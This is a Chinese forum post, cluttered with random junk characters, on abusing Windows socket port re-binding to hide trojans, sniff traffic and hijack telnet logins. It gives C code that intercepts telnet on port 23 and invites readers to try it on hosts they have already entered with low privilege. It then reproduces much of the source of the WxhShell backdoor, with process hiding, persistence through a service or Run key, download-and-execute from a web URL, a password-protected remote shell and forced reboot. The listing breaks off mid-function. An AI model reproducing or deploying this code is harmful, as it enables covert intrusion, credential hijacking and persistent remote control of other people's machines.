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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wtnC^d$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <MBpV^Y}  
;V\l, u  
  saddr.sin_family = AF_INET; s8 0$   
":N E I  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); uz;z+Bd^  
;sn]Blpq  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S U$U  
nhPua&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,O/ t6'  
$Q< >M B7  
  这意味着什么?意味着可以进行如下的攻击: <C,lHt  
 - }9a%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j]' 7"b5  
]728x["(19  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6Z3L=j  
u3ns-e  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P<A_7Ho  
xRM)f93@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g/6>>p`J  
=Hwlo!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `z{sDe;  
m_g2Cep  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \bPSy0  
w4e(p3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {:0TiOP5x  
&`IC 3O5  
  #include YE5B^sQ1  
  #include q t!0#z8  
  #include 1z$K54Mj  
  #include    P4S]bPIp  
  DWORD WINAPI ClientThread(LPVOID lpParam);   YZ0Jei8+-  
  int main() E2~&GkU.UN  
  { (W4H?u@X0  
  WORD wVersionRequested; m]#oZVngy  
  DWORD ret; Q,m1mIf  
  WSADATA wsaData; 9( "<NB0y  
  BOOL val; (TJ )Y7E  
  SOCKADDR_IN saddr; dGY:?mf&  
  SOCKADDR_IN scaddr; !O }^Y  
  int err; a08`h.dyN  
  SOCKET s; V 0M&D,  
  SOCKET sc; V*1hoC#  
  int caddsize; Z0I>PBL@l  
  HANDLE mt; ;Wu6f"+Y#  
  DWORD tid;   )UgLs|G~  
  wVersionRequested = MAKEWORD( 2, 2 ); ~SN *  
  err = WSAStartup( wVersionRequested, &wsaData ); 85GU~.  
  if ( err != 0 ) { C=>IJ'G  
  printf("error!WSAStartup failed!\n"); c Y(2}Ay  
  return -1; 5b5Hc Inu  
  } R *uwp'@  
  saddr.sin_family = AF_INET; TKBW2  
   VHihC]ks,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 TtKV5  
6A9 r{'1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7lH3)9G;  
  saddr.sin_port = htons(23); +XP9=U*g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2j <Y>Y  
  { n3Q Rn^  
  printf("error!socket failed!\n"); LW '3m5  
  return -1; 1 ms(03dp  
  } VW/ICX~"d  
  val = TRUE; &K.js  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yrVk$k#6}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vQ",rP%  
  { 7U, [Ruu  
  printf("error!setsockopt failed!\n"); \]=''C=J  
  return -1; Z&W*@(dX  
  } p.|NZXk%%a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V>Vu)7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 f5ttQ&@FF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C_ 4(- OWq  
JULns#tx}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y8arFG  
  { y1c2(K>tu  
  ret=GetLastError(); +l)[A{  
  printf("error!bind failed!\n"); -b`O"Ck*  
  return -1; d,d ohi  
  } {|D7H=f  
  listen(s,2); 8%Eau wAx  
  while(1) ]u<8j r  
  { )~[rb<:)b  
  caddsize = sizeof(scaddr); V|W[>/  
  //接受连接请求 h1AZ+9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /c:78@  
  if(sc!=INVALID_SOCKET) J=sj+:GS  
  { Yw_^]:~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mo()l8  
  if(mt==NULL) /fDXO;tN  
  { f~?4  
  printf("Thread Creat Failed!\n"); !}pvrBS  
  break; ews{0  
  } A$o7<Hx  
  } 0wnC"2GUX  
  CloseHandle(mt); 7Z[6_WD3  
  } ,?/AIL]_  
  closesocket(s); fIwG9cR  
  WSACleanup(); *mtS\J  
  return 0; eRm 9LOp  
  }   Q8  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5BRZpCb  
  { ' |Ia-RbX  
  SOCKET ss = (SOCKET)lpParam; e` {F7rd:  
  SOCKET sc; }2+*E}g  
  unsigned char buf[4096]; z=1N}l~|*  
  SOCKADDR_IN saddr; Zv&<r+<g  
  long num; Mv\]uAT`  
  DWORD val; jWNF3\  
  DWORD ret; K zWqHq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gO%o A} !i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p|9Eue3j2  
  saddr.sin_family = AF_INET; %s* F~E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZXH{9hxd  
  saddr.sin_port = htons(23); yp l`vJ]X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n>k1 D  
  { ` ),ACkU>U  
  printf("error!socket failed!\n"); _oAWj]~rO  
  return -1; %D6HY^]ayw  
  } Bh ,GQHJ  
  val = 100; wGhy"1g#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EaN1xb(DYa  
  { ag{cm'.  
  ret = GetLastError(); caD)'FSES  
  return -1; +Jw+rjnP  
  } Tx:S{n7&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]gjB%R[.m  
  { EAZLo;  
  ret = GetLastError(); Z%$ tV3a?  
  return -1; 7;r Jr&.)  
  } X]+z:!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \9N )71n(  
  { ZWXA%u7V  
  printf("error!socket connect failed!\n"); V_"UiN"o  
  closesocket(sc); !Y^3%B%  
  closesocket(ss); &MJ cLM]  
  return -1; 88g|(k/  
  } 0f9*=c  
  while(1) `/RcE.5n\@  
  { g(QT"O!dY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |{ TVW  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x.kIzI5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 PQvpJFpb~h  
  num = recv(ss,buf,4096,0); SbK6o:[  
  if(num>0) JxmFUheLt  
  send(sc,buf,num,0); "(+p1  
  else if(num==0) |] cFsB#G  
  break; D*}_L   
  num = recv(sc,buf,4096,0); m TgsvC  
  if(num>0) lOEB ,/P  
  send(ss,buf,num,0); witx_r  
  else if(num==0) J u"K"  
  break; Lpv,6#m`)  
  } xua E\*m  
  closesocket(ss); U^ ;H{S  
  closesocket(sc); vR*p1Kq:  
  return 0 ; aW*8t'm;m'  
  } {n 4W3  
Ng|c13A=  
'LMMo4o3  
========================================================== 4zhg#  
<*[D30<  
下边附上一个代码,,WXhSHELL mRT$@xa]J  
Gc,6;!+(  
========================================================== -=4{X R3  
iCIU'yI  
#include "stdafx.h" H$rNT/C  
lN~u='Kc  
#include <stdio.h> .1YiNmW=  
#include <string.h> Jk} Dj0o  
#include <windows.h> HyC826~-rI  
#include <winsock2.h> @&9, 0 x  
#include <winsvc.h> [m0G;%KR/  
#include <urlmon.h> ]=]fIKd  
l|sC\;S  
#pragma comment (lib, "Ws2_32.lib") RN"Ur'+  
#pragma comment (lib, "urlmon.lib") ypLt6(1j%  
d^qTY?k.  
#define MAX_USER   100 // 最大客户端连接数 p(fL' J  
#define BUF_SOCK   200 // sock buffer Ef\&3TcQ  
#define KEY_BUFF   255 // 输入 buffer L]wk Ba  
&F~97F)A)  
#define REBOOT     0   // 重启 LO@o`JF  
#define SHUTDOWN   1   // 关机 pSdtAv  
H:]'r5sw  
#define DEF_PORT   5000 // 监听端口 fb?YDM  
t~M0_TnXlP  
#define REG_LEN     16   // 注册表键长度 Ctx{rf_~  
#define SVC_LEN     80   // NT服务名长度 ukc<yc].+?  
Jxsch\  
// 从dll定义API 89P'WFOFK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J936o3F_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tJII-\3"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J0FJ@@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =^mBj?(V7  
:!L>_ f  
// wxhshell配置信息 7bYN  
struct WSCFG { ZmAo9>'Kg  
  int ws_port;         // 监听端口 @n^2UJ  
  char ws_passstr[REG_LEN]; // 口令 [! Zyp`:  
  int ws_autoins;       // 安装标记, 1=yes 0=no !`0 El',gY  
  char ws_regname[REG_LEN]; // 注册表键名 {xRO.699  
  char ws_svcname[REG_LEN]; // 服务名 Q?V'3ZZF!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tqXCj}mR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >~*}9y0$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I78Q8W(5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1otE:bi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UId?a} J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \pVNJ y$`<  
f0"_ {\  
}; K;*B$2Z#k  
TT^L) d  
// default Wxhshell configuration KJi8LM  
struct WSCFG wscfg={DEF_PORT, \[L|  
    "xuhuanlingzhe", 1s-=zs  
    1, -=GmI1:=$4  
    "Wxhshell", 6r)B|~,OA  
    "Wxhshell", Ntlbn&lc;D  
            "WxhShell Service", t/J|<Ooj?  
    "Wrsky Windows CmdShell Service", wUKt$_]``  
    "Please Input Your Password: ", \kP1Jr  
  1, PQXCT|iJ  
  "http://www.wrsky.com/wxhshell.exe", ^?S lM  
  "Wxhshell.exe" {w mP  
    }; #D^( dz*  
s&M#]8x;x  
// 消息定义模块 (p(-E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WO=P~F<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5`)[FCQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c/}-pZn<  
char *msg_ws_ext="\n\rExit."; Da ]zbz%%  
char *msg_ws_end="\n\rQuit."; MCTTm^8O  
char *msg_ws_boot="\n\rReboot..."; (r/))I9^  
char *msg_ws_poff="\n\rShutdown..."; =U}!+ 8f  
char *msg_ws_down="\n\rSave to "; \RmU6(;IQ  
VLC=>w\,  
char *msg_ws_err="\n\rErr!"; 3bagL)'iz  
char *msg_ws_ok="\n\rOK!"; QeQxz1  
I @ D<rjR  
char ExeFile[MAX_PATH]; emG1Wyl  
int nUser = 0; &:#"APX  
HANDLE handles[MAX_USER]; , RU  
int OsIsNt; u_.Ig|Va  
y<m }dW6[\  
SERVICE_STATUS       serviceStatus; RY]jY | E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {CQI*\O  
Vkl]&mYRz  
// 函数声明 yH(%*-S  
int Install(void); &"=<w  
int Uninstall(void); ,EH^3ODD  
int DownloadFile(char *sURL, SOCKET wsh); Ur(<  ]  
int Boot(int flag); A>rN.XW  
void HideProc(void); "LM[WcDX  
int GetOsVer(void); vlPViHF.  
int Wxhshell(SOCKET wsl); oT9qd@uQ0:  
void TalkWithClient(void *cs); Bs\& '=l  
int CmdShell(SOCKET sock);  ?S'Wd=  
int StartFromService(void); jBJ|%K M  
int StartWxhshell(LPSTR lpCmdLine); 8>'vzc/* >  
w%~Mg3|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F+9(*|x%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vgN%vw pL  
_@O.EksY3r  
// 数据结构和表定义 EO"G(v  
SERVICE_TABLE_ENTRY DispatchTable[] = Ex5 LhRe>=  
{ Nx<fj=VJ  
{wscfg.ws_svcname, NTServiceMain}, 3u4P [   
{NULL, NULL} qTV.DCP  
}; P=.T|l1  
~y1k2n  
// 自我安装 T *rz#O  
int Install(void) S{UEV7d:n0  
{ M+WN\.2pX  
  char svExeFile[MAX_PATH]; gNSsT])  
  HKEY key; R RnT.MU  
  strcpy(svExeFile,ExeFile); yAu .=Eo7  
`A$zLqz)Vm  
// 如果是win9x系统,修改注册表设为自启动 T<U_Iq  
if(!OsIsNt) { 2Jqr"|sw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4x_# 1 -  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u=ZZ;%Rvd  
  RegCloseKey(key); xvW# ~T]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PF:'dv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >uJU25)|  
  RegCloseKey(key); eMUs w5=  
  return 0; RIq\IQ_|  
    } W@61rT} c  
  } OGPrjL+  
} #g]eDU-[  
else { hv)d  
wcW}Sv[r  
// 如果是NT以上系统,安装为系统服务 ] jycg@=B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vn^*  
if (schSCManager!=0) qwYq9A$+  
{ =6[R,{|C  
  SC_HANDLE schService = CreateService dwVo"_Yr  
  ( <Gz*2i  
  schSCManager, +{cCKRm  
  wscfg.ws_svcname, V(OD^GU  
  wscfg.ws_svcdisp, nOK1Wc%/'  
  SERVICE_ALL_ACCESS, ^o Q^/v~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bqRO-\vO  
  SERVICE_AUTO_START, '|nAGkA  
  SERVICE_ERROR_NORMAL, F*=}}H/  
  svExeFile,  8s>OO&  
  NULL, ^2uT!<2  
  NULL, %RXFgm!{f  
  NULL, @WP%kX.?  
  NULL, J pKCux  
  NULL L[lS >4e N  
  ); j\2q2_f  
  if (schService!=0) 9Nu:{_YoP  
  { K<fB]44Y  
  CloseServiceHandle(schService); 'V} 4_3#q  
  CloseServiceHandle(schSCManager); 9tIE+RD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WP4 "$W  
  strcat(svExeFile,wscfg.ws_svcname); ,pa=OF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #A^(1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cT# R B7  
  RegCloseKey(key); 1qhSN#s{_  
  return 0; sF1j4 NC  
    } XvkFP'%i/  
  } >{#QS"J#  
  CloseServiceHandle(schSCManager); =5#sB*  
} 94L>%{59  
} mxl"Y&l2<  
xd^9R<  
return 1; og|~:>FmJo  
} o<!tN OH  
YT)@&HaF  
// 自我卸载 lVS.XQ2<  
int Uninstall(void) 'E%+ O  
{ %Sw hNn  
  HKEY key; DTC OhUIV  
wE#z)2?`\  
if(!OsIsNt) { M(<.f}yZQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n4/Jx*  
  RegDeleteValue(key,wscfg.ws_regname); {Zf 9} !qF  
  RegCloseKey(key); _yc &'Wq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ? 9;r|G  
  RegDeleteValue(key,wscfg.ws_regname); g UA_&_  
  RegCloseKey(key); [u7i)fn5?  
  return 0; AI2@VvB  
  } Kl w9  
} P yN{  
} zE]h]$oi  
else { </|m^$v  
b!z kQ?h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >e QFY^d5  
if (schSCManager!=0) O8 5)^  
{ Y$ '6p."=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X!f` !tZ:{  
  if (schService!=0) 9oxn-)6JC  
  { $'Qv {  
  if(DeleteService(schService)!=0) { &#<>fT_  
  CloseServiceHandle(schService); i>z {QE  
  CloseServiceHandle(schSCManager); 3Hkb)Wu  
  return 0; _r vO#h  
  } kTm>`.kKJ=  
  CloseServiceHandle(schService); }Bn`0;]  
  } GqD_6cdh  
  CloseServiceHandle(schSCManager); >+2gAO!  
} OLyl.#J  
} *."50o=T  
F'^?s= QX  
return 1; YUQKy2  
} wU/BRz8I  
}vt>}%%  
// 从指定url下载文件 7kh(WtUz  
int DownloadFile(char *sURL, SOCKET wsh) 'klYGp  
{ br4 %(w(d  
  HRESULT hr; T7j,%ay9  
char seps[]= "/"; |]j2T 8_=  
char *token; CG[04y  
char *file; T&s}~S=m  
char myURL[MAX_PATH]; _#T bO fu  
char myFILE[MAX_PATH]; `*--vSi  
I.u[9CI7HU  
strcpy(myURL,sURL); NnqAr ,  
  token=strtok(myURL,seps); &v<Am%!N  
  while(token!=NULL) /@+[D{_Fw  
  { ?m dGMf)  
    file=token; 5ii:93Hlj  
  token=strtok(NULL,seps); h"On9  
  } ')1p  
yo_;j@BGR  
GetCurrentDirectory(MAX_PATH,myFILE); mI-9=6T_  
strcat(myFILE, "\\"); n@y*~sG]  
strcat(myFILE, file); *&~wl(+O=  
  send(wsh,myFILE,strlen(myFILE),0); >m8~Fs0  
send(wsh,"...",3,0); -*~~ 00w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Jn)DZv8?  
  if(hr==S_OK) &T\,kq >)  
return 0; 0'~Iv\s  
else w4j,t  
return 1; NLF6O9  
 g\=e86  
} PR~9*#"v..  
s)j3+@:#  
// 系统电源模块 E  *{_=pX  
int Boot(int flag) )1o<}7  
{ ><"0GPxrx  
  HANDLE hToken; J|:Zs1.<d  
  TOKEN_PRIVILEGES tkp; {Q AV  
^6FU]  
  if(OsIsNt) { wUcp_)aE|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5yQ\s[;o3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _p\O!y  
    tkp.PrivilegeCount = 1; MNd[Xzm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w~}.c:B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6'qu[ ~ }Q  
if(flag==REBOOT) { _ e94  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 41NVF_R6J  
  return 0; %mMPALN]{  
} w}r~Wk^dLI  
else { B),Z*lpC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {x<yDDIv_  
  return 0; 0:q R,NW^#  
} xoyH5ZK@  
  } *{s 3.=P.  
  else { zE1=*zO`  
if(flag==REBOOT) { q1vsvL9Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >!%F$$  
  return 0; #Iwxt3K  
} =w2_1F"  
else { R/?ZbMn]!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d0D*S?#8,C  
  return 0; ":V,&o9n  
} J~k'b2(p3  
} _68{ {.  
N=~aj7B%  
return 1; .lyK ,p  
} ZOY zCc(d  
GLr7sack  
// win9x进程隐藏模块 (V9 ;  
void HideProc(void) b?nORWjC  
{ ^2-t|E=  
j/uu&\e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2^4OaHY88  
  if ( hKernel != NULL ) )l[bu6bM  
  { Rxk0^d:sNi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i;mA|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H?tX^HO:q  
    FreeLibrary(hKernel); l{4rKqtX  
  } )k6kK}  
5:|=/X%#qp  
return; RG y+W-  
} m\e?'-(s  
-mY,nMDb  
// 获取操作系统版本 8KHT"uc'*J  
int GetOsVer(void) aYws{Vii  
{ @t4OpU<'*b  
  OSVERSIONINFO winfo; C9L_`[9DO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !i5~>p|4@  
  GetVersionEx(&winfo); ?OF9{$m3?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =U,mzY (  
  return 1; yrQf PR  
  else s0*@zn>h  
  return 0; j-TRa,4bN  
} #gSLFM{p  
<Xl/U^B  
// 客户端句柄模块 qUKSo9  
int Wxhshell(SOCKET wsl) G*%:"qleT$  
{ ~NG+DyGa=  
  SOCKET wsh; `PS>"-AY2  
  struct sockaddr_in client; w'7=CzfYn  
  DWORD myID; 5Sx.'o$  
B\Uocn  
  while(nUser<MAX_USER) lL"ANlX-P  
{ ki'CW4x  
  int nSize=sizeof(client); !8OgaMngzF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }) Zcw1g  
  if(wsh==INVALID_SOCKET) return 1; &AP`k  
*I9O+/,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dq^vK  
if(handles[nUser]==0) +a0` ,Jc  
  closesocket(wsh); *=zv:!  
else jzd)jJ0M  
  nUser++; ,yH\nqEz  
  } 'T(@5%Db  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !Z<=PdI1Ys  
i6)HC  
  return 0; w:07_`cH=  
} 2sH1) ,\  
x4-_K%  
// 关闭 socket 2(H-q(  
void CloseIt(SOCKET wsh) d;.H 9Ne  
{ 6|Xe ],u  
closesocket(wsh); aM YtWj  
nUser--; /_</m?&.U&  
ExitThread(0); I'0{Q`}  
} l;i /$Yu7  
-mw`f)?Ev  
// 客户端请求句柄 p((a(Q/  
void TalkWithClient(void *cs) -_ <z_IL\%  
{ `T3B  
^MO})C  
  SOCKET wsh=(SOCKET)cs; }56WAP}Z 4  
  char pwd[SVC_LEN]; >)+N$EN  
  char cmd[KEY_BUFF]; % O u'+A  
char chr[1]; ;Q,, i  
int i,j; V G|FjD  
@7K(_Wd  
  while (nUser < MAX_USER) { pT/z`o$#V  
B}0!b7!  
if(wscfg.ws_passstr) { q5{h@}|M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); + f,Kt9Cy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uR6 `@F  
  //ZeroMemory(pwd,KEY_BUFF); "/Pq/\,R|  
      i=0; "{[\VsX|c  
  while(i<SVC_LEN) { gUY~ l= c  
u6SQq-)d  
  // 设置超时 L}6!D zl  
  fd_set FdRead; *USG p<iH  
  struct timeval TimeOut; mM.YZUX  
  FD_ZERO(&FdRead); Ug\$Ob5=q  
  FD_SET(wsh,&FdRead); !<?<f db  
  TimeOut.tv_sec=8; %Ni"*\  
  TimeOut.tv_usec=0; 5GbC}y>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xJ9aFpTC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wKKQAM6P1  
<iB5&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EB VG@  
  pwd=chr[0]; f+1@mGt  
  if(chr[0]==0xd || chr[0]==0xa) { q _Z+H4  
  pwd=0; </2 aQn  
  break; +QNsI2t;r  
  } 8Qhj_  
  i++; p>B-Ubu  
    } &f2:aT)  
KwU;+=_.  
  // 如果是非法用户,关闭 socket kpXxg: c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GSW%~9WBa  
} pQ>|d H+.  
OX%#8Lx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U7Oa 13Qz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2T(7V[C%9  
fbD,\ rjT  
while(1) { cQ |Q-S  
G.`},c;A-  
  ZeroMemory(cmd,KEY_BUFF); U~USwUzgY  
3 &mpn,  
      // 自动支持客户端 telnet标准   Ft38)T"2R\  
  j=0; :w+vi 7l$  
  while(j<KEY_BUFF) { fUr%@&~l^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <@P. 'rE  
  cmd[j]=chr[0]; LosRjvQ:  
  if(chr[0]==0xa || chr[0]==0xd) { n'0r (  
  cmd[j]=0; .f"1(J8  
  break; [S1 b\f#  
  } \*[DR R0  
  j++; vn!5@""T  
    } hQ'W7EF  
YmOj.Q&  
  // 下载文件 ea]qX6)UZ  
  if(strstr(cmd,"http://")) { %z=:P{0UQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ja9=b?]0,  
  if(DownloadFile(cmd,wsh)) Wf^ sl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?U+hse3e~  
  else 2vh }:A_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r)#W`A1{A  
  } hz*T"HJ]t  
  else { lv9Tq5C  
JOJuGB-d  
    switch(cmd[0]) { fp*6Dv_  
  T<"Bb[kH  
  // 帮助 v>j,8E  
  case '?': { @Pf9;7,TV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *@p"  
    break; 8d_J9Ho  
  } 7F2 RH 8)  
  // 安装 1wFW&|>1  
  case 'i': { S~)`{ \  
    if(Install()) 6VVxpDAi:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FSm.o?>  
    else /QWXEL/M=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y[]I!Bc  
    break; :)i,K>y3i  
    } NU3TXO  
  // 卸载 `hdff0  
  case 'r': { 1YQYZ^11  
    if(Uninstall()) AwjXY,2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZuybjV1/f6  
    else [N Afy~X*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rZ|p{ym  
    break; TY'c'u,  
    } [T,Hpt  
  // 显示 wxhshell 所在路径 2x9.>nwhb  
  case 'p': { W=3#oX.GsU  
    char svExeFile[MAX_PATH]; l5.k2{'  
    strcpy(svExeFile,"\n\r"); ^lt2,x   
      strcat(svExeFile,ExeFile); ZE-vroh  
        send(wsh,svExeFile,strlen(svExeFile),0); x"g)pGsT  
    break; S3l^h4  
    } =yz"xWH  
  // 重启 #:+F  
  case 'b': { 1Y*k"[?dW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Kei0>hBi  
    if(Boot(REBOOT)) v/9DD%An  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +<.o,3  
    else { LRts W(A/  
    closesocket(wsh); qB (Pqv  
    ExitThread(0); #>("(euXMF  
    } f}"eN/T  
    break; 3>^]r jFw  
    } 2|=hF9  
  // 关机 3qn_9f]  
  case 'd': { ch :rAx  
